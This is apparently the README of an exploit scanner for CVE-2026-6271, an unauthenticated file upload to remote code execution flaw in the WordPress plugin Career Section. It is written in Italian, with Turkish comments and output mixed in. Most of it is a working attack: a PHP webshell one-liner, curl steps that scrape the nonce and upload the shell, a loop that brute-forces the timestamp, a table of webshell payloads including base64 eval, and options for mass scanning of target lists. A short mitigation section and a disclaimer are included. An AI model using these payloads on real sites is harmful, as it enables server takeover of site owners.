
Scanner automatizzato per CVE-2026-6271, un upload di file arbitrario non autenticato critico che porta a RCE nel plugin WordPress Career Section. Supporta scansione multi-thread, più tipi di shell e integrazione proxy.
Plugin: Career Section (
career-section) CVE ID: CVE-2026-6271 Punteggio CVSS: 9.8 (Critical) Vettore CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTipo di vulnerabilità: Unauthenticated Arbitrary File Upload → Remote Code Execution Versione interessata: <= 1.7 Versione corretta: 1.8 Data di pubblicazione: 13 maggio 2026 Ricercatore: Paolo Tresso — Wordfence
Il plugin Career Section consente ai proprietari dei siti di pubblicare offerte di lavoro e raccogliere candidature. Ogni pagina di offerta di lavoro contiene un modulo "Apply Now". Questo modulo include un campo per il caricamento di un file CV.
Nelle versioni 1.7 e precedenti il gestore del caricamento accetta qualsiasi tipo di file — incluso .php. Poiché il modulo è pubblico e il token CSRF è incorporato nell'HTML della pagina, questa vulnerabilità può essere sfruttata senza richiedere alcun account o privilegio.
I nonce di WordPress sono token CSRF, non token di autenticazione. Il valore del nonce è incorporato nell'HTML della pagina per ogni visitatore:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
Qualsiasi visitatore non autenticato può ottenere un nonce valido e superare il controllo di validazione.
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() pulisce solo i caratteri speciali, non blocca le estensioni pericolose.
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
In questa directory non è presente un file .htaccess che impedisca l'esecuzione di PHP.
| Motivo | Descrizione |
|---|---|
| Nessuna autenticazione richiesta | Il nonce è incorporato nell'HTML pubblico |
| Nessuna restrizione sul tipo di file | .php, .php5, .phtml accettati |
Nessuna protezione .htaccess | PHP viene eseguito nella directory di upload |
| Nome file prevedibile | time()_filename → brute-force del timestamp |
⚠️ Disclaimer: Questa PoC è solo a scopo educativo. Testala solo su sistemi che possiedi o per i quali hai ricevuto esplicita autorizzazione scritta.
Prerequisiti:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Struttura da cercare nel sorgente della pagina:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
Il nome del file ha il formato <timestamp>_shell.php. Prova i timestamp attorno a $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
Output atteso:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| Parametro | Breve | Descrizione | Predefinito |
|---|---|---|---|
--url | -u | URL target singolo | — |
--list | -l | File con elenco di target | — |
--threads | -t | Numero di thread | 10 |
--output | -o | File di output | rce_confirmed.txt |
--job-url | — | URL diretto della pagina dell'offerta di lavoro | — |
--shell-name | — | Nome del file da caricare | shell.php |
--shell-type | — | Tipo di shell | system |
--verify-cmd | — | Comando di verifica RCE | id |
--ts-window | — | Finestra di brute-force timestamp (±s) | 5 |
--proxy | — | URL del proxy | — |
--timeout | — | Timeout delle richieste (s) | 10 |
| Tipo | Payload | Descrizione |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | Comando di sistema di base |
passthru | <?php passthru($_GET["cmd"]); ?> | Output grezzo |
exec | <?php echo exec($_GET["cmd"]); ?> | Esecuzione silenziosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval via POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Offuscamento Base64 |
full | shell_exec + system + exec fallback | Shell completa |
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell burada
Accesso diretto:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Stato | Descrizione |
|---|---|
★ RCE OK | Shell caricata + comando eseguito con successo |
★ SHELL ALIVE | Shell accessibile, risposta diversa restituita |
~ EXEC_DISABLED | La shell esiste ma exec() è disabilitato sul server |
? UPLOADED | Caricata ma timestamp non trovato |
- BLOCKED | Tipo di file bloccato (versione corretta) |
~ NO_NONCE | csaf_form_nonce non trovato |
~ TIMEOUT | Timeout di connessione |
~ UNREACH | Target non raggiungibile |
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (kaynak: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (dosya tipi engellendi)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce bulunamadı)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| Misura | Implementazione |
|---|---|
| Aggiornamento del plugin | Aggiorna a Career Section 1.8 o superiore |
| Blocco esecuzione PHP | Aggiungi .htaccess nella directory di upload |
| Whitelist estensioni | Accetta solo pdf, doc, docx |
| Validazione MIME | Controllo del contenuto reale con finfo_file() |
| Regola WAF | Blocca le richieste di caricamento di .php |
.htaccess per la directory wp-content/uploads/cs_applicant_submission_files/:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Questo strumento e la PoC sono stati realizzati per essere utilizzati esclusivamente su sistemi autorizzati, a scopo educativo e nell'ambito di test di penetrazione. L'utilizzo su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del codice penale turco e delle leggi internazionali sui crimini informatici. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.
MIT License — Solo a scopo educativo e di ricerca.